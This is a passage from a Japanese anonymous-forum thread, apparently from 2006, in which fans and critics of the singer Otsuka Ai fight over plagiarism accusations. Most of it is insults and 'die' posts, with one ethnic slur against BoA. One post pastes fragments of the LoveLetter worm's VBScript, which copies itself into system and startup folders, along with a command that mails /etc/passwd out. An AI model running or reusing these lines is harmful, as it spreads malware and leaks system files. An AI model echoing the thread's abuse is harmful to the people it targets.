釣り発言なのかな。

544 :名も無き音楽論客:2006/02/11(土) 20:03:18 ID:jXP1YuC4
>>542
そう思うのは人それぞれ。人を馬鹿にするのはやめたほうがいいよ?

545 :名も無き音楽論客:2006/02/11(土) 20:07:07 ID:???
>>544ageるのはやめた方がいいよ?

546 :名も無き音楽論客:2006/02/11(土) 20:08:30 ID:???
>>543
そっちが釣りだろwwだったら世界の大塚な訳ww?
(´,_ゝ`)プッ

547 :名も無き音楽論客:2006/02/11(土) 20:09:30 ID:???
>>544
大塚もお前に神様呼ばわりじゃ迷惑だろ。

548 :名も無き音楽論客:2006/02/11(土) 20:10:31 ID:???
とりあえず人を馬鹿にすることだけはやめろ。

549 :名も無き音楽論客:2006/02/11(土) 20:12:51 ID:???
>>548
馬鹿にされるような事言うから馬鹿にされんだよ
自業自得

550 :名も無き音楽論客:2006/02/11(土) 20:18:55 ID:???
>>543
その発言は大塚が>>540のメンバーを超えてから言ってくれない?まぁ一生無理な話だがwww一度も洋楽を聞いたことがないヲタクが偉そうに何言ってんだかなあwww

551 :名も無き音楽論客:2006/02/11(土) 20:23:07 ID:AKiD9QAN
>>540
その人達全員糞歌唱力じゃんw
やっぱ大塚を超えられる歌手はどこにもいない

552 :名も無き音楽論客:2006/02/11(土) 20:24:56 ID:???
そうそう

553 :名も無き音楽論客:2006/02/11(土) 20:26:17 ID:???
【新事実】加護亜衣の喫煙は陰謀【発覚】

レストラン店員が告白
「加護さんにタバコを勧めたのは自分」「芸能ライターのA氏から頼まれて勧めた」
http://food6.2ch.net/test/read.cgi/toba/1121080053/l50

勧められたからと言って、喫煙してしまった加護ちゃんも良くないが……

554 :アデランス:2006/02/11(土) 20:27:00 ID:???
>>549に激しく同意じゃ!ヴォケッ!
でも、大塚愛LOVEじゃ!!

555 :名も無き音楽論客:2006/02/11(土) 20:29:15 ID:???
>>551-552
自演乙

糞は大塚とファンのお前だろwww 文句あるなら超えてみろよwww

556 :名も無き音楽論客:2006/02/11(土) 20:29:53 ID:???
よりにもよって540みたいなのを対抗馬に揚げるようでは大塚を馬鹿にできないな。

557 :名も無き音楽論客:2006/02/11(土) 20:31:23 ID:jXP1YuC4
>>555
アンチはなんでもかんでも糞扱いかよ。
最低だな。
お前になんか文句の言葉もないほど呆れた。

558 :アデランス:2006/02/11(土) 20:32:19 ID:???
僕はウンコじゃない!
人間じゃ!!

559 :名も無き音楽論客:2006/02/11(土) 20:33:34 ID:jXP1YuC4
愛ちんミリオンいった!バンザイ!!笑
さすがラブクックはすごい!

560 :名も無き音楽論客:2006/02/11(土) 20:34:01 ID:???
>>551
はぁぁ?マライヤなんてオペラ歌手並みの歌唱力なんて知らない訳?1オクターブでる歌手なんてそういねーんだよwww
それに比べて大塚は

(´,_ゝ`)プッ

561 :名も無き音楽論客:2006/02/11(土) 20:36:05 ID:jXP1YuC4
ラブクックは100万枚突破さすがだな。

562 :名も無き音楽論客:2006/02/11(土) 20:36:06 ID:???
いい大人がなに理性なくなるまで自演やってるわけ?
大人気ないオッサン

563 :名も無き音楽論客:2006/02/11(土) 20:36:40 ID:jXP1YuC4
>>562
自演なんかやってられねーよ。疲れてんの。

564 :名も無き音楽論客:2006/02/11(土) 20:38:31 ID:???
>>557
先に糞呼ばわりしたのはお前だろ

こんな所で油売ってないで風俗で童貞捨ててこい

565 :名も無き音楽論客:2006/02/11(土) 20:39:24 ID:???
>>560
オペラ歌手並ならオペラを聴きますよ。

566 :名も無き音楽論客:2006/02/11(土) 20:40:10 ID:???
>>563
疲れてるならここにはこないと思うけど。

567 :アデランス:2006/02/11(土) 20:41:10 ID:???
大塚愛かわいい!
好きじゃ〜〜〜!!!

568 :名も無き音楽論客:2006/02/11(土) 20:42:19 ID:ZA41I1c3
>>565
大塚みたいな糞曲聞くよりはその方がいいなwww

569 :名も無き音楽論客:2006/02/11(土) 20:43:01 ID:???
>>567
うるせーよ禿

570 :名も無き音楽論客:2006/02/11(土) 20:51:03 ID:AKiD9QAN
>>559
マジで行ったの?
>>560
マライヤなんて糞。それにしても大塚は顔も声も可愛すぎ

571 :アデランス:2006/02/11(土) 20:51:49 ID:???
>>569うるせーよ塋

572 :名も無き音楽論客:2006/02/11(土) 20:52:53 ID:4kcsFXdL
>>560
1オクターブの意味わかってる?

ドレミファソラシド〜♪

かなりありふれてると思うんだけど…

573 :名も無き音楽論客:2006/02/11(土) 20:53:14 ID:jXP1YuC4
>>570
大塚愛がミリオンいったの知らないの?

574 :名も無き音楽論客:2006/02/11(土) 20:54:38 ID:???
やはり世間での評価は高いんだよな

575 :アデランス:2006/02/11(土) 20:55:30 ID:???
>>570メッチャ激しく同感じゃ☆

576 :名も無き音楽論客:2006/02/11(土) 20:56:10 ID:???
ぁいちん可愛いよね〜!!自分が可愛いって思ってるとこが可愛いw

577 :名も無き音楽論客:2006/02/11(土) 20:57:42 ID:???
自分に自信がある証拠。
自分に自信が無い人の歌なんて聴いてられないでしょ。

578 :名も無き音楽論客:2006/02/11(土) 21:00:50 ID:/3uJzn/k
だよね☆ぁたし実力がともなってるナルシストが一番好き!!


579 :名も無き音楽論客:2006/02/11(土) 21:01:52 ID:AKiD9QAN
>>572
もしマライヤの1オクターブがそんなに凄くても大塚の神声には勝てない

580 :アデランス:2006/02/11(土) 21:02:05 ID:???
愛ちん萌えちゃうのじゃ〜☆☆

581 :572:2006/02/11(土) 21:02:25 ID:4kcsFXdL
あ、でも大塚に歌唱力が無いのには同意。

つーか
そもそも彼女は歌唱力で売ってるようなアーティストではないだろ。
もっと言うとavex自体歌唱力ではなくエンターテイメントとして
アーティストを送り出していると思う。
だから顔が良かったりノリが良かったりわかりやすい歌詞だったり。

なんでこの手のスレが荒れるかというと馬鹿ファンが完全肯定をするからなんだよね。
完全なものなんてありえないし、特に芸術なんてのは不完全が美であったりする。
それもわからずただ感情論だけで押し通す愚かさがこのスレのクオリティではなかろうか。

長文失礼。

582 :名も無き音楽論客:2006/02/11(土) 21:03:25 ID:???
マライアを完全肯定している人も同程度ですね。

583 :名も無き音楽論客:2006/02/11(土) 21:05:03 ID:4kcsFXdL
>>579
…馬鹿?
1オクターブなら俺でも出せる。凄いなんか一言も言ってない。
てか1オクターブの意味すら知らない奴が音楽語るなよな…

584 :名も無き音楽論客:2006/02/11(土) 21:05:15 ID:AKiD9QAN
浜のアルバムはミリオン行ったの?

585 :名も無き音楽論客:2006/02/11(土) 21:05:19 ID:/3uJzn/k
>>581
たしかに〜てかどんなに歌唱力があっても魅力が無いアーティストは
消えてくよね。

586 :名も無き音楽論客:2006/02/11(土) 21:06:08 ID:AKiD9QAN
>>585
大塚には魅力がたっぷりある

587 :名も無き音楽論客:2006/02/11(土) 21:07:00 ID:/3uJzn/k
>>586
ぁる☆だから好き!!

588 :名も無き音楽論客:2006/02/11(土) 21:07:14 ID:???
>>579
オンチな神様だこと

589 :アデランス:2006/02/11(土) 21:08:39 ID:???
そうじゃ!魅力があるんじゃ!!

590 :名も無き音楽論客:2006/02/11(土) 21:08:55 ID:AKiD9QAN
>>583
別に1オクターブは分かるけど、アンチがその1オクターブが凄いみたいなこと言ってたから。

591 :名も無き音楽論客:2006/02/11(土) 21:09:08 ID:???
ミリオンいったからって歌上手いとは言えないな

だったら倖田來未の方が断然上手い

592 :名も無き音楽論客:2006/02/11(土) 21:11:28 ID:4kcsFXdL
>>582
落ち着いてIDを見ろ。
俺はマライアを肯定していないしむしろ「ありふれている」と言ってる。

ほんと小学生以下だな。思考力とか読解力とか。
ファンとかアンチってこんなもんなの?

593 :名も無き音楽論客:2006/02/11(土) 21:12:57 ID:4kcsFXdL
って>>582は俺に対して言ってるんじゃないのか。スマソ

594 :名も無き音楽論客:2006/02/11(土) 21:13:06 ID:AKiD9QAN
>>591
えーっ?

595 :名も無き音楽論客:2006/02/11(土) 21:14:12 ID:4kcsFXdL
あぁーもういいや、この流れについていけない。

落ちます

596 :名も無き音楽論客:2006/02/11(土) 21:24:12 ID:/3uJzn/k
今からこのスレは「ぁいちんファンが元スレと戦うスレ」に変更されました。w

597 :名も無き音楽論客:2006/02/11(土) 21:35:15 ID:qVPaSDEJ
うほっ ぬほほほほ!

598 :A:2006/02/11(土) 21:41:02 ID:/3uJzn/k
笑っちゃうほど賛成だそうです

599 :名も無き音楽論客:2006/02/11(土) 21:44:07 ID:???
オッさんの自演会場w

600 :名も無き音楽論客:2006/02/11(土) 21:48:02 ID:AKiD9QAN
>>599
自演はしてないから

601 :A:2006/02/11(土) 21:59:42 ID:/3uJzn/k
ぉっさんて誰??

602 :名も無き音楽論客:2006/02/11(土) 22:01:56 ID:Syjzln76
てか飽きた 許すも許さんもどうでもいい

603 :A:2006/02/11(土) 22:02:51 ID:/3uJzn/k
それでよし!!w

604 :名も無き音楽論客:2006/02/11(土) 22:09:41 ID:???
てか、今更だけど植松がエイベに依頼されてPV作った的な事言われてるけど「素敵だね」は
野島一成作詞じゃなかったけ?植松がどうのこうのじゃなく、作詞した野島一成の方が重要じゃね!


605 :名も無き音楽論客:2006/02/11(土) 22:16:32 ID:???
>>590
釣りだろ

606 :名も無き音楽論客:2006/02/11(土) 22:35:37 ID:0GONn9t4
おっさん死ねよ。

607 :名も無き音楽論客:2006/02/11(土) 23:26:52 ID:IWJhjanA
アンチは馬鹿か?死ねとか消えろとか馬鹿丸出し!

608 :名も無き音楽論客:2006/02/12(日) 00:12:52 ID:4gXnuVCJ
http://hp15.0zero.jp/218/aneki/

609 :名も無き音楽論客:2006/02/12(日) 01:33:05 ID:d3eNmWwF
おぉぉぉ、おっさんって…もしかして僕の事かな…??

610 :名も無き音楽論客:2006/02/12(日) 01:48:55 ID:4/swBKQv
BOAの新曲が
アンダーグラフの「ツバサ」をパクってるほうがウザい
BOAのようなパクり韓国人は、自国に帰ってほしい


611 :名も無き音楽論客:2006/02/12(日) 02:31:16 ID:SFL/Xrjo
>>610
スレ違い

612 :名も無き音楽論客:2006/02/12(日) 08:41:05 ID:???
オッさんの自演王国w

613 :名も無き音楽論客:2006/02/12(日) 11:26:28 ID:A3K1qbnA
何をやっても勝てばいいのかもな
ミリオンを獲ったってのは結局
オッさんが言うように消費者がバカなんだよ

漏れがエイベ関連商品を買うことはこの先ないだろうけど

614 :キレてないですよ(^ω^;):2006/02/12(日) 12:06:36 ID:???
>>610
確かに否定できないぐらい似てるがパクリじゃないと思われ

615 :名も無き音楽論客:2006/02/12(日) 12:28:44 ID:Vl0fWeop
アンチはとことん暇な奴。
盗作なんか調べてどうすんの!?

616 :名も無き音楽論客:2006/02/12(日) 12:38:19 ID:A3K1qbnA
純朴なファンが騙されていると思えば
事実を伝えて「正当な評価」を仰ぐのは当然のことじゃないか?
人として

617 :名も無き音楽論客:2006/02/12(日) 13:21:51 ID:ThXZH3yC
>>615わざわざアンチサイトに来て荒らしにくるおっさんはヒマじゃないの??

618 :名無しの名無し:2006/02/12(日) 14:55:53 ID:???
アンチとは?

619 :名も無き音楽論客:2006/02/12(日) 17:13:40 ID:???
大塚がプラネタインスパイヤした日とFF]の発売日知ってる人居ませんかー

620 :名も無き音楽論客:2006/02/12(日) 18:22:49 ID:9G8eTih2
>>616
盗作が事実といいはるアンチがおかしい。
>>618
反対とか反抗という意味だと思う。
>>617
オッサンってダレ?あんたのこと?

621 :名も無き音楽論客:2006/02/12(日) 18:34:46 ID:???
て言うかね、書き込みにパクリがあうだ
こうだって書いてあるけど
あまり音楽の事分かってないって感じです。
他の音楽アーティストは皆最初はパクリから始まっているんですよ。
たとえ愛ちゃんがいろんな音楽を聴いて影響受ければれば音楽のニュアンスが似たようなのもあるでしょう。それを自分なりのスタイルで表現してるから私は愛ちゃんに限らず他のアーティストでも多いに結構って感じです。


622 :名も無き音楽論客:2006/02/12(日) 18:40:52 ID:???
>>620-621
オッさん自演やめろ

623 :名も無き音楽論客:2006/02/12(日) 18:50:52 ID:???
>>622
その前にオッサンってダレ?あんた自分で自分のことオッサンって言ってるの?
アンチって年齢層高いって聞いたけど?

624 :名も無き音楽論客:2006/02/12(日) 20:24:26 ID:ThXZH3yC
うはw大塚ヲタ=ふじいあきら=レノ=おっさんの自演祭りww

625 :名も無き音楽論客:2006/02/12(日) 20:28:43 ID:???
http://lovecherry.269g.net/article/322893.html

626 :名も無き音楽論客:2006/02/12(日) 20:30:32 ID:???
http://lovecherry.269g.net/article/322893.html
若さ故の痛さ

627 :名も無き音楽論客:2006/02/12(日) 20:37:24 ID:8UgHQmEd
愛ちゃんとか言うオッサンまじきも

628 :名も無き音楽論客:2006/02/12(日) 20:37:53 ID:???
>>624
ふじいあきらってマジシャンでしょ?
彼はとてもユニークでテクニカルなマジックだからね!
自分も口からトランプできるんだ。
すごいだろ?
ダイアゴナルパームシフトとかサイドスティールとかうますぎ!
さすが神業!笑

アンチも大塚愛責めてる暇があったら自分の特技でもつくれ!

629 :美鈴:2006/02/12(日) 20:55:11 ID:xDAPMHh5
まだあったんだ?このスレ

630 :名も無き音楽論客:2006/02/12(日) 21:15:22 ID:???
>>628お前が前に名乗ってたコテだろうがw

631 :名も無き音楽論客:2006/02/12(日) 21:50:36 ID:???
>>628-629
オッさん自演乙

632 :名も無き音楽論客:2006/02/12(日) 21:58:53 ID:VodIwUga
>>631
オッサン

633 :名も無き音楽論客:2006/02/12(日) 22:02:13 ID:???
本当のことを言う。自演はしてない。
しっかしアンチもうざったいなー。
大塚愛の盗作疑惑もあくまで疑惑なのにお前らアンチは絶対盗作だ!と言い張る
。一体何様のつもり!?
疑うのはいいけど何度も言うとおり、勝手に決め付けんな!

634 ::2006/02/13(月) 09:11:35 ID:???
何様?

635 :名も無き音楽論客:2006/02/13(月) 09:16:08 ID:???
>>632 オッさん

636 :名も無き音楽論客:2006/02/13(月) 16:46:24 ID:+MQErAP/
>>634
お前こそ人を罪人扱いして何様だ?

637 :名も無き音楽論客:2006/02/13(月) 17:14:15 ID:OpIVcRJw
>>636
いや、曲パクってんだから罪人扱いして当然だろ

638 :名も無き音楽論客:2006/02/13(月) 17:37:25 ID:+MQErAP/
>>637
どうしてこんなに確定的なんだ?おかしいだろ?
世間ではこの程度を盗作といわない。
ってか本人が絶対盗作したという自信でもあるのか?

639 :名も無き音楽論客:2006/02/13(月) 18:04:31 ID:OpIVcRJw
>>638
この程度?お前、耳どうかしてねーか?

640 :キレてないですよ(^ω^;):2006/02/13(月) 18:52:23 ID:???
なんかもうアンチ=オッサン呼ばわりされてるようにしか見えない希ガス

641 :名も無き音楽論客:2006/02/13(月) 19:38:20 ID:???
>>640はいはいご苦労様です

642 :名も無き音楽論客:2006/02/13(月) 21:31:43 ID:1dYR8Rce
>>640ヲタがおっさんなんだが

643 :名も無き音楽論客:2006/02/13(月) 21:43:53 ID:???
大塚愛のLOVE COOKは、現代を代表する衝撃作である。
発売当時、私は石丸で準メルクルのCDを視聴していたが、
隣のポップスコーナーから流れてきた大塚の歌声に一瞬にして
心を奪われ、その神々しいばかりの歌声に体の動きすら
止められてしまった次第である。
もはや彼女を凌ぐ女性アーティストは存在しないと言いたいくらいの
出来栄えだが、それでも彼女の音楽に対する感動的なまでの姿勢には
心から感謝したいと思う、そんな完成度の高さである。

644 :名も無き音楽論客:2006/02/13(月) 22:01:03 ID:???
このスレ(本気で許せない人の集まり)に対する
アンチ(大塚ヲタ)の中で、
思考が可笑しく日本語を正常に使えない約一名=オッさん

645 :名も無き音楽論客:2006/02/13(月) 22:16:27 ID:zcxZZ1X9
ぬほっぬほっぬほっ!

646 :名も無き音楽論客:2006/02/13(月) 23:02:27 ID:???
      ∧
     /´。 `ーァ
    ヽ{  々 ゚l ノ    ……!
    (( ノ(    )ヽ ))
     <    >

647 :名も無き音楽論客:2006/02/13(月) 23:29:02 ID:GCa0vCho
>>644
オッサンかどうかも透視できんの?
しかもオッサンってダレ?さっきからウザイんだけど。
>>639
そんな程度でニュースになるかっての。頭おかしい??
週刊誌には載ってたが。たかがネット騒動だろ?
お前達みたいなネット中毒者が変な噂ながしたたけ。
似ている音楽は結構あるじゃん。
なんですぐ盗作と言うんだろうか?俺には理解できん。

648 :名も無き音楽論客:2006/02/14(火) 00:07:05 ID:ZwxHnrOK
スポーツ新聞にも1面で載ってたよ。

649 :名も無き音楽論客:2006/02/14(火) 00:18:22 ID:???
流し叩け
キタ━━━━(゚∀゚)━━━━ッ!!

650 :名も無き音楽論客:2006/02/14(火) 03:20:23 ID:iACFJ5xO
ヌホ――(゚∀゚)―――!!

651 :美鈴:2006/02/14(火) 22:20:54 ID:bh8T2MC6
>>629はアタシじゃナイょo(>Д<)o

652 :名も無き音楽論客:2006/02/14(火) 22:51:10 ID:???
>>647
お前馬鹿だろ
>>356読んでから出直せ。

653 :名も無き音楽論客:2006/02/14(火) 22:52:50 ID:???
タッキー&翼の「ヴィーナス」が出た。
ヴィーナスというのは、ローマ神話の女神で、
本来は囲まれた菜園を司る神だが、最近では
美と愛の女神という評価が一般的なようであり、
日本でもミロ作の美術品が親しまれている。
演奏の方も、ジャニーズ出身らしく彼らの
元気いっぱいの演奏が楽しめる。
色彩豊かで、温かみのある雰囲気があるのも良い。
しかし、残念なのは速い部分はリズムが明快で
とても良いのだが、遅い部分は叙情味に若干乏しく、
次回からはこの辺の修正も期待したいところである。


654 :名も無き音楽論客:2006/02/14(火) 23:54:33 ID:jsNiRBzg
>>652
お前馬鹿か?
こんなんじゃ曲も作れねーよ。考えてみろ!
著作権の侵害だとかそんなん大きい目でみればそうかも知んないけど、今の件
については盗作だとはいえない。

似てれば盗作だというアンチの考えがおかしい。

655 :名も無き音楽論客:2006/02/15(水) 00:17:52 ID:ikkl8UEb
>>654えーと…「似てる」と「盗作」の違いは何?
分かりやすく言ってくれる?

656 :名も無き音楽論客:2006/02/15(水) 16:36:47 ID:H6jPJvJf
>>655
似てるはたまたま曲を作っていて似ている部分があること。
盗作は人の歌を故意的にかぶらせた。いわゆる人の歌を盗んだということ。
大塚愛はまだはっきりと盗作と確定できない。
似てるのは事実だけど・・・

657 :名も無き音楽論客:2006/02/15(水) 17:59:03 ID:ikkl8UEb
>>656分かりやすい例として、「プラネタリウム」と「素敵だね」がある訳だけど、
メロディーと、歌詞と、PVが「たまたま」似てしまうなんて事があるのかね?あったとして、それはどれくらいの確立なんだろうね?
「故意に似せた」方がしっくりくるんじゃないかね?

658 :名も無き音楽論客:2006/02/15(水) 18:04:21 ID:H6jPJvJf
>>657
お前は本当に馬鹿だな。聞くけど、
じゃあなんで盗作疑惑なのかな?そんなお前の検証なんてお前だけの感情
でものごと決め付けてるだけじゃん。
疑惑なんだから盗作一筋と決め付けないでくれ。

659 :名も無き音楽論客:2006/02/15(水) 18:25:47 ID:ikkl8UEb
>>658もう一度聞くな?メロディーと、歌詞と、PVが全て「たまたま」似るの?似てるのは事実なんだよね?

660 :名も無き音楽論客:2006/02/15(水) 22:31:00 ID:8vla9rRg
>>659
似てることは紛れもなく事実。
でもそんなことで盗作だと決め付けないで欲しいな。
お前が俺に聞いてることもすべて仮定。

661 :名も無き音楽論客:2006/02/15(水) 22:39:33 ID:???
「似過ぎている」ことに気付いた多くの人が世に問うた結果
多くの意見として「盗作の可能性が大きい」と言うのが現在
事実が不透明なら大勢の見解は大きな判断材料ではないか

662 :名も無き音楽論客:2006/02/15(水) 22:41:34 ID:8vla9rRg
>>661
でも盗作100%ではないだろ?

663 :名も無き音楽論客:2006/02/15(水) 22:46:14 ID:???
100パーだよはげ。

664 :名も無き音楽論客:2006/02/15(水) 22:51:17 ID:???
断言する人がいてもおかしくない状況

665 :名も無き音楽論客:2006/02/15(水) 23:29:55 ID:8vla9rRg
>>663
あなたすごいですね!たったの検証で盗作100%と決め付けられるなんて。
アンチはなんでそんなに確定的なのかが知りたい。
自信過剰??

666 :名も無き音楽論客:2006/02/16(木) 00:20:41 ID:TdoMjQwv
( ´ ・ ω ・ ` )

667 :名も無き音楽論客:2006/02/16(木) 00:29:24 ID:wdtNE/R0
結局盗作してなかったっていうこと

668 :名も無き音楽論客:2006/02/16(木) 00:30:01 ID:???
665

たったの検証って何?熱弁するのはいいけど、日本語くらい話せるようになってから来てくださいね。盗塚信者さん

669 :名も無き音楽論客:2006/02/16(木) 00:54:53 ID:wdtNE/R0
愛ちんって本当神だよね。90年代ばかり聞いていた俺も、愛ちんのお陰で久々に最近の曲聞き始めた。
愛ちんってどこか幼い感じがある。実際より10歳(以上)若く見える。声にも幼さがあるけど、そこが可愛い所。
歌詞も無邪気な恋愛感があるから凄く可愛いし好き。

670 :名も無き音楽論客:2006/02/16(木) 01:19:46 ID:wdtNE/R0
>>643
同意。愛ちんを凌ぐ神アーはもう出てこないよね。浜崎を余裕で超してる。

671 :名も無き音楽論客:2006/02/16(木) 03:42:18 ID:cD3142us
盗作したかしてないかどーでもいいですよ。
あんたたちがこのスレに書き込んだところで何にも変わりはしませんよ(笑)
否定ばっかりのしょーもない自己満足にひたって下さい。
ウンコちゃんたち(笑)

672 :名も無き音楽論客:2006/02/16(木) 04:05:47 ID:???
スマイリーはパクリだと本気で思う。
wyseの方が何倍もいいけど

673 :名も無き音楽論客:2006/02/16(木) 06:50:15 ID:???
ゆうせんでたまにプラネタリウムと素敵だねがほぼ同じ時間に流れる時がある。会社のおばちゃんでさえパクりだねこれといってるよ。大多数の人間が、聴いたら盗作を疑うだろうに。私、前は盗塚の曲かなり好きな方だったけどプラネタ聴いて一気に嫌いになったよ。
盗作とかかんけーないとか何も変わらないとか言ってんなら来るなよキモヲタ。スレタイも読めないのか?


674 :名も無き音楽論客:2006/02/16(木) 07:26:20 ID:???
>>671一応釣られてやるよ。釣り下手くそだよ。

675 :名も無き音楽論客:2006/02/16(木) 10:09:23 ID:???
盗作か否かはどうでもいい
業界にいてあれだけ「似過ぎている」曲を発表する姿勢が許せない
知らなかったらただの馬鹿だし
知っててやったのなら犯罪だよ

676 :名も無き音楽論客:2006/02/16(木) 10:37:35 ID:???
>>674
だったらお前は盗塚と一緒に日本を出て行け。
これが法律なんだよ!
曲も作れないだと、事実作ってる奴が多いんだよ
本件に関しては知的財産権の侵害という見解を示す弁護士が多いんだよ、
何の知識もないくせいきがるな。

677 :名も無き音楽論客:2006/02/16(木) 12:15:44 ID:???
似ているだけで盗作だと疑うなみたいなこというやついるけどさ、そもそも疑う理由って似ているからってことしかないと思うんだがW

678 :名も無き音楽論客:2006/02/16(木) 12:24:23 ID:???
>>677
似ているだけじゃないんだな、これが
しかも疑ってるんじゃなく確信に変わりつつあるし。


679 :名も無き音楽論客:2006/02/16(木) 12:30:17 ID:???
レベルの問題で
同系列にくくれるとか
似たコード進行やリズムとかならだれも騒がない
どう見てもおかしいレベルの楽曲であることが
盗作疑惑の根幹にあるわけだから
なぜそうなったか釈明できない限り
盗作だと言う非難から逃れることはできない

680 :名も無き音楽論客:2006/02/16(木) 12:32:42 ID:???
678

そうだね。確信になりつつあると私も思うよ。でもキモヲタは感性やら何やら全て狂ってるから何言っても認めない。

681 :名も無き音楽論客:2006/02/16(木) 12:32:47 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

682 :名も無き音楽論客:2006/02/16(木) 12:33:07 ID:???
>>679
そーだ、そーだ、もっと言えーーー

683 :名も無き音楽論客:2006/02/16(木) 12:37:40 ID:???
>>676なんだが間違えた>>654へ、だ。
>>674 スマソ!

684 :名も無き音楽論客:2006/02/16(木) 19:38:27 ID:yDrbcRwl
ttp://www.toutsukai.com/?e=64#1
悪女(ミンビでもいいけど)大塚がプリキュアパクったお

685 :名も無き音楽論客:2006/02/16(木) 21:10:19 ID:j28koFY/
ttp://ameblo.jp/jukinzoku/entry-10009131005.html
脳に棲む性嗜好という怪物〜小児フェチズムをはじめとする…〜

小柄に惹かれるのか。従順というイメージに惹かれるのか。
同世代へのコンプレックスか。少年少女期へのコンプレックスか。
未発達な性への興味か。未発達な性の希少価値か。
無垢な笑顔に癒されるのか。無垢な体に触れたいのか。


686 :名も無き音楽論客:2006/02/16(木) 22:28:57 ID:4qWaDd1o
>>680
お前馬鹿か?感性の意味分かってから言えよ。
アンチって本当に頭大丈夫??
>>684
勝手に言ってろ。

687 :名も無き音楽論客:2006/02/16(木) 22:54:59 ID:???
>>686
オマエモナー

688 :名も無き音楽論客:2006/02/16(木) 23:00:41 ID:4qWaDd1o
>>687
まともに発言できますか??
読みにくい。

689 :名も無き音楽論客:2006/02/16(木) 23:16:00 ID:???
>>688
ここのスレに来んなヴォケ!

690 :名も無き音楽論客:2006/02/16(木) 23:37:20 ID:4qWaDd1o
>>689
違った意見を持つ人だっています。

691 :名も無き音楽論客:2006/02/16(木) 23:43:55 ID:???
>>690
スレ違い。


692 :名も無き音楽論客:2006/02/17(金) 00:34:13 ID:???
違った意見て;ここさタイトルみりゃアンチスレってわかるだろ?アンチ同士の違った意見言い合うならわかるが信者の意見は求めてないんで帰れ。

693 :名も無き音楽論客:2006/02/17(金) 00:41:16 ID:PHJbXspj
>>692
人の意見を聞き入れることも重要だ。
それくらい分かるだろ?
盗作が絶対!と勝手に決めつけているお前らには分からんけどな。

694 :名も無き音楽論客:2006/02/17(金) 00:57:41 ID:ka9A6Rso
>>693今お前がやってる行為は紛れもない荒らしだ。消えろ。

695 :名も無き音楽論客:2006/02/17(金) 01:02:50 ID:???
>>693
盗作じゃないと決めつけてる信者にも分からんけどな。
てかそもそもアンチのほうが的を得たこと言ってるわけだし。
俺から見れば>>692が正しい。


696 :名も無き音楽論客:2006/02/17(金) 03:58:02 ID:???
そんなに疑われるのが嫌だったらファンから大塚に説明を求めれば良いでしょー。
本人が正式に言ったことならファンもアンチも皆納得。
「これ以上疑われたままファンを続けるのが嫌なので説明して下さい」
とかメールに書いて送ってみれば?
まあ大塚サンがファン想いなのなら、即答してくれるだろうし
そのままスルーしたらファンのことは考えてない、金づるにしてるだけというのもわかるしね。

697 :名も無き音楽論客:2006/02/17(金) 06:50:41 ID:39dVdSzy
本人から答えてもらっても大塚愛自身を信用できないアンチもたくさんいる。
そんなお前みたいな考えはあまりにも無惨だ。

698 :名も無き音楽論客:2006/02/17(金) 09:46:44 ID:ka9A6Rso
>>697無惨の使い方間違ってるよ。低学歴なんだから無理して難しい言葉を使うなよw稚拙な内容を誤魔化しているように見える。

699 :名も無き音楽論客:2006/02/17(金) 11:40:28 ID:dTRzFHyG
大塚愛とか生きる価値の無いキモ整形。
ていうかさっさと氏ね。
消えてなくなれ。

700 :名も無き音楽論客:2006/02/17(金) 12:09:32 ID:???
顔も盗作w
テラワロスww

701 :名も無き音楽論客:2006/02/17(金) 16:10:57 ID:???
>>697>>698よりは高学歴


702 :名も無き音楽論客:2006/02/17(金) 20:57:19 ID:J2s2oclj
>>699
本当低脳だねアンチは。みてて哀れだ。
消えろとか整形とか盗作だとかなんだねこの馬鹿丸出し発言は。
お前が消えれば大塚愛見なくてすむだろ。簡単な話だ。

703 :名も無き音楽論客:2006/02/17(金) 20:58:12 ID:???
>>700
顔も盗作って意味ワカンネーよ。馬鹿???

704 :美鈴:2006/02/17(金) 21:22:28 ID:I8RdtZmx
テラワロスってどぉゆう意味?

705 :名も無き音楽論客:2006/02/17(金) 21:29:10 ID:???
氏ね

706 :キレてないですよ(^ω^;):2006/02/17(金) 21:57:45 ID:???
低脳とか言えば相手を煽ったと思ってるのは厨房の特徴

707 :名も無き音楽論客:2006/02/18(土) 02:16:54 ID:LqVKvXDI
aikoに声が似てるよね。
曲のどうこうはわからんが

曲とか顔とか批判するのはやめよう
人としてよくない

708 :天才:2006/02/18(土) 02:25:33 ID:YBGa6T0f
てゆうかここに書き込みしている時点で終わってるよ。馬鹿じゃねーの?そんなに中傷するならくるなよ

709 :名も無き音楽論客:2006/02/18(土) 07:26:36 ID:???
信者はもうどこまでも大塚崇拝してかまわないからさ、ここに来ないで下さい。別に好きならかまわないけど嫌いな人が集まるとこにわざわざ来て荒らすな。私は他のアンチの意見が聞きたいんだよ。話進まねーだろが。

710 :名も無き音楽論客:2006/02/18(土) 07:40:45 ID:???
>>709
盗作疑惑の討論スレがどうやったらアンチスレと認識できるんだ?
教えてくれよ。
べつにアンチ以外が来てもいいと思うんだけど。
話し進まないのはお前らの意見がだらしない証拠。


711 :名も無き音楽論客:2006/02/18(土) 12:06:04 ID:Wz/C12HG
>>710スレタイよく見ろ低脳。自演ばっかりしやがって。
「大塚愛の盗作を本気で許せない人達集まろう!」


712 :名も無き音楽論客:2006/02/18(土) 12:14:00 ID:etGzfGn6
糞曲。

713 :名も無き音楽論客:2006/02/18(土) 12:26:01 ID:???
709 ですが自演じゃないのでそこんとこよろしく。

714 :名も無き音楽論客:2006/02/18(土) 14:40:19 ID:Tv1A4vp5
「盗作アミーゴ」 作詞 ? 作曲 ?

バレはじめた 盗作問題
でも会社が 隠してくれる
冷静に なれよ レンジファン

情け無いぜ 「パクろうぜ」
余計なことを 喋っちまった
もうダメかも しれない レンジファン

メンバーの 一人は 抜けてしまった
※1サビ
SI 俺達は 最初から 古い曲を 盗んで アレンジ して 売っていた そうだろ
SI エイベックスに 着いて 本当に助かった 隠蔽 ありがとう
どれにしよう 次の アレンジのネタ そろそろ ネタ 尽きてきた どうしよう

